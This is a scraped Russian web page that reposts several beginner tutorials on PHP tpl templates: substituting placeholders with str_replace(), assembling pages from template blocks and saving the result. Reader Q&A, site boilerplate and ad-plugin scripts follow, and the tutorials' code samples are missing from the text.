Работа с tpl-шаблоном

Применение tpl-шаблонов совместно с php-скриптами существенно облегчает web-разработку т.к. позволяет автоматизировать рутинные операции. Да и вобще удобная штука.

Механизм работы очень прост: допустим Вы занимаетесь разработкой типовых сайтов, страницы которых содержат какой-то статичный контент (контент, который не будет изменяться) и изменяющийся контент.
Вместо того чтоб каждый раз создавать новые файлы, мы создадим tpl-файл, в котором заменим строки c изменяющимся контентом на переменные (они пишутся в фигурных скобках <> ) и создадим php-скрипт, который будет вставлять в эти переменные то, что нам нужно и выводить готовые странички.

Предположим что ваша страничка выглядит так:

Менять нужно записи — «Новый сайт», «Крутой сайт», «Ещё какой-то контент. ».

Мы заменили наши записи на переменные ( , <cool_site>, <some_content>)</em>, на их место наш будущий php-скрипт будет подставлять нужные данные.</p> <p>Создаём страничку — <strong>index.html</strong>, из которой мы будем работать с нашим шаблоном.</p> <p><em>Для красоты создайте css-файл:</em> </p> <p>Откройте <strong>index.html</strong> в браузере:</p> <p style="clear: both"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://istarik.ru/uploads/images/00/00/01/2016/07/29/ee9dc2.png"/><noscript><img src="https://istarik.ru/uploads/images/00/00/01/2016/07/29/ee9dc2.png"/></noscript></p> <p><em>После нажатия кнопки «Создать» заполненные поля передаются скрипту <strong>build.php</strong> для обработки.</em></p> <p>Скрипт соберёт из шаблона и поступивших данных страничку, и выведет её в браузер. <em>Действия прокомментированы.</em></p> <p>Осталось создать скрипт-обработчик — <strong>script.php</strong>, который подключается в файле <strong>build.php</strong> и выполняет основную работу — замену переменных нашими данными.</p> <p style="clear: both">Всё готово, можно зайти в браузер, заполнить поля, нажать кнопку «Создать» и посмотреть что получилось. <img style="float: left; margin: 0 10px 5px 0;" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://istarik.ru/uploads/images/00/00/01/2016/07/29/e64cca.jpg"/><noscript><img style="float: left; margin: 0 10px 5px 0;" src="https://istarik.ru/uploads/images/00/00/01/2016/07/29/e64cca.jpg"/></noscript></p> <p>Сейчас вновь сформированную страницу можно увидеть только в браузере. Чтобы она сохранилась на диске, нужно в конец файла <strong>build.php</strong> добавить пару строк…</p> <p>В итоге должно получится так…</p> <p>После отработки скрипта в рабочей директории появится файл — <strong>my.html</strong>.</p> <p>Помимо создания html-файла, можно создать ещё один tpl-файл или скрипт и продолжать работу уже с ними. Так же можно добавить сюда работу с базой или подключать несколько шаблонов и формировать из них странички. Иными словами — можно делать что угодно…</p> <p><span class="link" data-link="http://istarik.ru/blog/programmirovanie/63.html" >Источник</span></p> <h2 id="ispolzovanie-tpl-faylov">Использование tpl-файлов</h2> <p style="clear: both"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://myrusakov.ru/images/articles/php-tpl.jpg"/><noscript><img src="https://myrusakov.ru/images/articles/php-tpl.jpg"/></noscript></p> <p>Сразу скажу, что я уже писал об этой теме здесь: использование tpl-файлов. Однако, не все поняли данный материал, и я решил к нему вернуться и написать всё немного по-другому. Не секрет, что любой серьёзный движок никогда не будет смешивать в своём коде <b>HTML</b> и <b>PHP</b>. Однако, <b>HTML</b> и <b>PHP</b> коды очень тесно взаимосвязаны, поэтому для того, чтобы не нарушать правила «хорошего тона», были придуманы <b>tpl-файлы</b>. Данные файлы служат для хранения <b>HTML-кода с элементами шаблонов</b>, которые подставляются в <b>PHP-коде</b>. Давайте подробнее разберём <b>использование tpl-файлов</b> с примером.</p> <p>Ничего сложного, это просто обычный <b>HTML-код</b>. Только вместо определённых значений стоят <b>%элементы_шаблона%</b>.</p> <p>Это простейший вариант. Всё прокомментировано, поэтому вопросов по этому примеру возникнуть не должно. И по сути любая страница состоит из таких вот блоков. Ваша задача взять нужные блоки (функция <b>getTemplate()</b>), заменить нужными данными (функция str_replace() и данные полученные, например, из базы), а потом просто соединить все блоки, как обычные строки, и вывести всё на страницу.</p> <p>Безусловно, без <b>ООП</b> здесь очень проблемно будет. Вы такое количество условий наплодите (страниц же много), что быстро запутаетесь. Но принцип использования <b>tpl-файлов</b>, надеюсь, Вы осознали. Дальше уже самостоятельно подумайте, как всё это обернуть в <b>ООП</b>, чтобы всё было максимально простым с точки зрения понимания кода и его сопровождения в будущем.</p> <p style="clear: both"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://myrusakov.ru/images/date_article.png"/><noscript><img src="https://myrusakov.ru/images/date_article.png"/></noscript></p> <p><i>Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!</i></p> <p>Добавляйтесь ко мне в друзья <b>ВКонтакте</b>: http://vk.com/myrusakov.<br/>Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.</p> <p>Если Вы не хотите пропустить новые материалы на сайте,<br/>то Вы можете <b>подписаться на обновления</b>: Подписаться на обновления</p> <p>Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.</p> <p>Порекомендуйте эту статью друзьям:</p> <p>Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):</p> <h2 id="kommentarii-23">Комментарии ( 23 ):</h2> <p>А здесь можно было использовать file_get_contents($name.».tpl») вместо getTemplate($name)?</p> <p>Да, если Вам так удобнее. Просто я привык к буферам, в своё время с ними много работал, но file_get_contents() вполне подходит. Но я настоятельно рекомендую использовать getTemplate(), просто внутри используйте file_get_contents(). Очень часто бывают всякие повторяющиеся элементы (по типу адреса сайта), которые постоянно заменяются и их можно автоматически всегда при вызове getTemplate() сразу заменять. Это резко сокращает количество кода.</p> <p>Я сделал себе обработку через getTemplate, но тогда не получается сделать включение любого модуля (например опроса, формы авторизации, отдельных файлов)без PHP. Как делать include в TPL?</p> <p>Это и не нужно делать, всё должно включаться через PHP.</p> <p>Принято так. Можете использовать хоть txt, хоть вообще без расширения, результат будет тот же.</p> <p>не понятно зачем делать через буфер? у Вас есть похожая статья http://myrusakov.ru/php-use-tpl.html но все без буфера, не могли бы Вы пояснить почему здесь буфер?</p> <p>Понятно, а почему если в файле с шаблоном стоит цикл после %text% то выдаёт ошибку?</p> <p>В файле с шаблоном не должно быть циклов.</p> <p>А как мне тогда выводить те же самые комментарии? Надо делать их блоками?</p> <p>Надо блок выделить в отдельный tpl-файл, в PHP сделать цикл, который собирает много этих блоков воедино, а затем всю эту кучу вставляет в основной tpl-файл.</p> <p>Пожалуйста напишите статью как всё это организовать по правильному и удобному. Очень прошу, я могу сделать но даю гарантию что код будет ужасный, напишите пожалуйста</p> <p><span class="link" data-link="http://myrusakov.ru/php-tpl.html" >Источник</span></p> <h2 id="kak-ispolzovat-fayly-tpl">Как использовать файлы TPL</h2> <p style="clear: both"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://myrusakov.ru/images/articles/php-use-tpl.jpg"/><noscript><img src="https://myrusakov.ru/images/articles/php-use-tpl.jpg"/></noscript></p> <p>Относительно недавно я писал о том, как создать свой движок для сайта. И там я сказал, что для <b>HTML-кода</b> надо создавать специальные файлы-шаблоны, которые имеют расширение <b>tpl</b>. Однако, один из моих посетителей попросил меня поподробнее рассказать о том, <b>как использовать файлы tpl</b>. И в этой статье я постараюсь подробно рассказать о том, <b>зачем нужны файлы tpl</b>, как их использовать, и приведу небольшой пример.</p> <p><b>Файлы tpl</b> используются для написания в них <b>HTML-кода</b>, который впоследствии будет «вытащен» <b>PHP</b> и выведен пользователю на конкретных страницах. Например, в файле <b>tpl</b> может быть форма регистрации. То есть просто <b>HTML-код</b> обычной формы, ничего больше. В другом файле <b>tpl</b> может быть блок с панелью пользователя. В этой панели идёт «<i>Приветствие пользователя</i>» по имени, различные ссылки на редактирование профиля, а также кнопка выхода. Это всё примеры, где регулярно <b>используются файлы tpl</b>.</p> <p>Теперь напишем <b>PHP-код</b>, который этот <b>tpl-файл</b> обрабатывает:</p> <p>Как видите, всё очень и очень легко. Мы здесь получили содержимое файла <b>user_panel.tpl</b>, а затем с помощью функции <b>PHP</b> <b>str_replace()</b> заменили <b>на конкретное имя пользователя.</p> <p>Это основа, которую необходимо знать для <b>использования tpl-файлов</b>. Далее Вы должны теперь понять, что страница будет собираться по кирпичикам, выводя все <b>tpl-файлы</b> в нужном порядке. Главное преимущество такого подхода, что разделяется программная часть и дизайнерская, благодаря чему становится крайне легко изменять дизайн и код <b>PHP</b> независимо друг от друга.</p> <p style="clear: both"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="https://myrusakov.ru/images/date_article.png"/><noscript><img src="https://myrusakov.ru/images/date_article.png"/></noscript></p> <p><i>Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!</i></p> <p>Добавляйтесь ко мне в друзья <b>ВКонтакте</b>: http://vk.com/myrusakov.<br/>Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.</p> <p>Если Вы не хотите пропустить новые материалы на сайте,<br/>то Вы можете <b>подписаться на обновления</b>: Подписаться на обновления</p> <p>Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.</p> <p>Порекомендуйте эту статью друзьям:</p> <p>Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):</p> <h2 id="kommentarii-22">Комментарии ( 22 ):</h2> <p>Михаил, я конечно, ещё не настолько овладел знаниями в области программирования, изучая платный курс(за который тебе отдельное спасибо), но сдается мне, что в написанном коде есть пара, скорее всего, опечаток.. 🙂</p> <p>Это сделать можно только для конечного числа имён. Реализовать это для всех имён не получится. Соответственно, Вы для каждого имени склоняете под всеми необходимыми падежами, а потом вытаскиваете нужный падеж (например, взятый из параметра функции).</p> <p>Нет там опечаток, кроме той что тег <b>не работает с версии 4,1 HTML</p> <p>Ты это мне написал? Ты видел дату моего поста??</p> <p>Спасибо за статью, помню я как раз и не разобрался с шаблонизаторами и фигурными скобками.</p> <p>Здравствуйте, Михаил. Есть вопрос. Например есть tpl файл для боковой панели. В боковой панели есть подобие виджетов. Они одинаково выглядят и для них я так же сделал один tpl файл. Вот tpl виджета:</p> <p>Так если я буду в цикле с помощью str_replace() изменять значения <title> <text>и т.д. то они будут меняться для всех виджетов.</p> <p>Скажите, пожалуйста, а как связан tpl с версткой? Вот мы создали такой блок:</p> <p>Сначала делается вёрстка, а уже потом эта вёрстка разбивается на куски и отправляется в tpl-файлы.</p> <p>Спасибо! Это я понимаю,но в самом же ptl файле не прописывается графика, содержимое и их свойства, и расположение на странице?</p> <p>Туда прописывается HTML-код, а это и есть всё то, что Вы написали.</p> <p>Михаил, можете написать статью, где будет описпно, как создать класс для подключения шаблона(типа template).</p> <p>Вы используете tpl-файлы просто, чтобы максимально отделить php код от html кода, или есть еще плюсы использования tpl-файлов? Может с ними код быстрей работает? Есть ли разница между использованием php+tpl-файлов и html+вставки php кода?</p> <p>Для добавления комментариев надо войти в систему.<br/>Если Вы ещё не зарегистрированы на сайте, то сначала зарегистрируйтесь.</p> <p>Copyright © 2010-2020 Русаков Михаил Юрьевич. Все права защищены.</p> <p><span class="link" data-link="http://myrusakov.ru/php-use-tpl.html" >Источник</span></p> <div class="flat_pm_end"></div><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://fintaxi.ru/kak-pravilno-podklyuchit-sanuzel/" target="_blank" class="u5a42424ec991dacbb8a0c7f165d57985"><style> .u5a42424ec991dacbb8a0c7f165d57985 , .u5a42424ec991dacbb8a0c7f165d57985 .postImageUrl , .u5a42424ec991dacbb8a0c7f165d57985 .centered-text-area { min-height: 80px; position: relative; } .u5a42424ec991dacbb8a0c7f165d57985 , .u5a42424ec991dacbb8a0c7f165d57985:hover , .u5a42424ec991dacbb8a0c7f165d57985:visited , .u5a42424ec991dacbb8a0c7f165d57985:active { border:0!important; } .u5a42424ec991dacbb8a0c7f165d57985 .clearfix:after { content: ""; display: table; clear: both; } .u5a42424ec991dacbb8a0c7f165d57985 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1.5; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2ECC71; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); } .u5a42424ec991dacbb8a0c7f165d57985:active , .u5a42424ec991dacbb8a0c7f165d57985:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #C0392B; } .u5a42424ec991dacbb8a0c7f165d57985 .centered-text-area { width: 100%; position: relative; } .u5a42424ec991dacbb8a0c7f165d57985 .ctaText { border-bottom: 0 solid #fff; color: #ECF0F1; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u5a42424ec991dacbb8a0c7f165d57985 .postTitle { color: #000000; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u5a42424ec991dacbb8a0c7f165d57985 .ctaButton { background-color: #27AE60!important; color: #ECF0F1; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://fintaxi.ru/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u5a42424ec991dacbb8a0c7f165d57985:hover .ctaButton { background-color: #E74C3C!important; } .u5a42424ec991dacbb8a0c7f165d57985 .centered-text { display: table; height: 80px; padding-left: 18px; top: 0; } .u5a42424ec991dacbb8a0c7f165d57985 .u5a42424ec991dacbb8a0c7f165d57985-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u5a42424ec991dacbb8a0c7f165d57985:after { content: ""; display: block; clear: both; } </style><div class="centered-text-area"><div class="centered-text" style="float: left;"><div class="u5a42424ec991dacbb8a0c7f165d57985-content"><span class="ctaText">READ</span>  <span class="postTitle">Как правильно подключить санузел</span></div></div></div><div class="ctaButton"></div></a></div> </div> </article> <div class="entry-social"> <div class="entry-bottom__header">Поделиться с друзьями</div> <div class="social-buttons"><span class="social-button social-button--vkontakte" data-social="vkontakte"></span><span class="social-button social-button--facebook" data-social="facebook"></span><span class="social-button social-button--odnoklassniki" data-social="odnoklassniki"></span><span class="social-button social-button--twitter" data-social="twitter"></span><span class="social-button social-button--telegram" data-social="telegram"></span><span class="social-button social-button--pinterest" data-social="pinterest" data-url="https://fintaxi.ru/19080-2/" data-title="" data-description="Работа с tpl-шаблоном Применение tpl-шаблонов совместно с php-скриптами существенно облегчает web-разработку т.к. позволяет автоматизировать рутинные операции. Да и вобще удобная штука. Механизм работы очень прост: допустим Вы занимаетесь разработкой типовых сайтов, страницы которых содержат какой-то статичный контент (контент, который не будет изменяться) и изменяющийся контент. Вместо того чтоб каждый раз создавать новые файлы, мы создадим […]" data-image=""></span><span class="social-button social-button--viber" data-social="viber"></span></div> </div> <meta itemprop="author" content="admin"> <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://fintaxi.ru/19080-2/" content=""> <meta itemprop="datePublished" content="2020-12-10T02:12:20+00:00"> <div itemprop="publisher" itemscope itemtype="https://schema.org/Organization" style="display: none;"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><img itemprop="url image" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Как подключить и установить..." data-lazy-src="https://fintaxi.ru/wp-content/uploads/2020/12/nastoy.jpg"><noscript><img itemprop="url image" src="https://fintaxi.ru/wp-content/uploads/2020/12/nastoy.jpg" alt="Как подключить и установить..."></noscript></div><meta itemprop="name" content="Как подключить и установить..."><meta itemprop="telephone" content="Как подключить и установить..."><meta itemprop="address" content="https://fintaxi.ru"></div> </main> </div> <aside id="secondary" class="widget-area" itemscope itemtype="http://schema.org/WPSideBar"> <div class="sticky-sidebar js-sticky-sidebar"> <div id="search-2" class="widget widget_search"> <form role="search" method="get" class="search-form" action="https://fintaxi.ru/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Поиск..." value="" name="s"> </label> <button type="submit" class="search-submit"></button> </form></div> <div id="recent-posts-2" class="widget widget_recent_entries"> <div class="widget-header">Свежие записи</div> <ul> <li> <a href="https://fintaxi.ru/yaschik-dlya-sbora-pozhertvovaniy-kak-ustanovit/">Ящик для сбора пожертвований как установить</a> </li> <li> <a href="https://fintaxi.ru/yarmarka-masterov-kak-ustanovit-banner/">Ярмарка мастеров как установить баннер</a> </li> <li> <a href="https://fintaxi.ru/yarlyki-dlya-rabochego-stola-kak-ustanovit/">Ярлыки для рабочего стола как установить</a> </li> <li> <a href="https://fintaxi.ru/yandere-simulyator-kak-ustanovit-tekstury/">Яндере симулятор как установить текстуры</a> </li> <li> <a href="https://fintaxi.ru/yandere-simulyator-kak-ustanovit-kameru/">Яндере симулятор как установить камеру</a> </li> </ul> </div><div id="custom_html-3" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><div class="flat_side_1"></div></div></div> </div> </aside> </div> </div> <div class="site-footer-container"> <div class="footer-navigation full" itemscope itemtype="http://schema.org/SiteNavigationElement"> <div class="main-navigation-inner fixed"> <div class="menu-podval-container"><ul id="footer_menu" class="menu"><li id="menu-item-235359" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-235359"><a href="https://fintaxi.ru/politika-konfidentsialnosti/">Политика конфиденциальности</a></li> <li id="menu-item-235361" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-235361"><a href="https://fintaxi.ru/pravoobladatelyam/">Правообладателям</a></li> <li id="menu-item-235360" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-235360"><a href="https://fintaxi.ru/kontakty/">Контакты</a></li> </ul></div> </div> </div> <footer id="colophon" class="site-footer site-footer--style-gray full"> <div class="site-footer-inner fixed"> <div class="footer-bottom"> <div class="footer-info"> © 2021 Как подключить и установить. Все права сохранены. Внимание! Информация, опубликованная на сайте, носит исключительно ознакомительный характер и не является рекомендацией к применению. Материалы могут содержать информацию, предназначенную для пользователей старше 18 лет. 18+ </div> </div> </div> </footer> </div> <button type="button" class="scrolltop js-scrolltop" data-mob="on"></button> </div> <script type="text/javascript">var pseudo_links = document.querySelectorAll(".pseudo-clearfy-link");for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener("click", function(e){ window.open( e.target.getAttribute("data-uri") ); }); }</script><script type='text/javascript' id='reboot-scripts-js-extra'> /* <![CDATA[ */ var settings_array = {"rating_text_average":"\u0441\u0440\u0435\u0434\u043d\u0435\u0435","rating_text_from":"\u0438\u0437","lightbox_display":"","sidebar_fixed":""}; var wps_ajax = {"url":"https:\/\/fintaxi.ru\/wp-admin\/admin-ajax.php","nonce":"4e490e0719"}; /* ]]> */ </script> <script src='https://fintaxi.ru/wp-content/themes/reboot/assets/js/scripts.min.js' id='reboot-scripts-js'></script> <script type="text/javascript"> /*<![CDATA[*/ jQuery(document).ready(function($){ $('.link').replaceWith(function(){ var id = ( null != $(this).attr('id') ) ? ' id="' + $(this).attr('id') + '"' : '', target = ( null != $(this).attr('data-target') ) ? ' target="' + $(this).attr('data-target') + '"' : ' target="_blank"', title = ( null != $(this).attr('title') ) ? ' title="' + $(this).attr('title') + '"' : '', style = ( null != $(this).attr('style') ) ? ' style="' + $(this).attr('style') + '"' : '', rel = ( null != $(this).attr('data-rel') ) ? ' rel="' + $(this).attr('data-rel') + '"' : '', cl = ( null != $(this).attr('class') ) ? $(this).attr('class').replace('link','').trim() : ''; cl = ( '' != cl ) ? ' class="' + cl + '"' : ''; return '<a href="' + $(this).attr('data-link') + '" ' + title + id + cl + target + style + rel + ' >' + $(this).html() + '</a>'; }); }); /*]]>*/ </script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0)} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0)} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";function flatPM_sticky(e,a,t){var l=e,d=null,s=t=t||0;function n(){if(null==d){for(var e=getComputedStyle(l,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(d=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)}function flatPM_addDays(e,t){var n,o=60*e.getTimezoneOffset()*1e3,r=e.getTime(),i=new Date;return r+=864e5*t,i.setTime(r),o!=(n=60*i.getTimezoneOffset()*1e3)&&(r+=n-o,i.setTime(r)),i}function flatPM_adbDetect(){var e=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;var t=e.currentStyle||window.getComputedStyle(e,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)}function flatPM_setCookie(e,t,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i=e+"="+(t=encodeURIComponent(t));for(var a in n){i+="; "+a;var l=n[a];!0!==l&&(i+="="+l)}document.cookie=i}function flatPM_getCookie(o){var e=document.cookie.split("; ").reduce(function(e,t){var n=t.split("=");return n[0]===o?decodeURIComponent(n[1]):e},"");return""!=e?e:void 0}function flatPM_testCookie(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}}function flatPM_grep(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})}function flatPM_random(e,t){return Math.floor(Math.random()*(t-e+1))+e}function flatPM_getAllUrlParams(e){var t=e?e.split("?")[1]:window.location.search.slice(1),n={};if(t)for(var o=(t=t.split("#")[0]).split("&"),r=0;r<o.length;r++){var i,a,l=o[r].split("="),d=l[0],s=void 0===l[1]||l[1],d=d.toLowerCase();"string"==typeof s&&(s=s.toLowerCase()),d.match(/\[(\d+)?\]$/)?(n[i=d.replace(/\[(\d+)?\]/,"")]||(n[i]=[]),d.match(/\[\d+\]$/)?(a=/\[(\d+)\]/.exec(d)[1],n[i][a]=s):n[i].push(s)):n[d]?(n[d]&&"string"==typeof n[d]&&(n[d]=[n[d]]),n[d].push(s)):n[d]=s}return n}document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()};</script> <script>var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 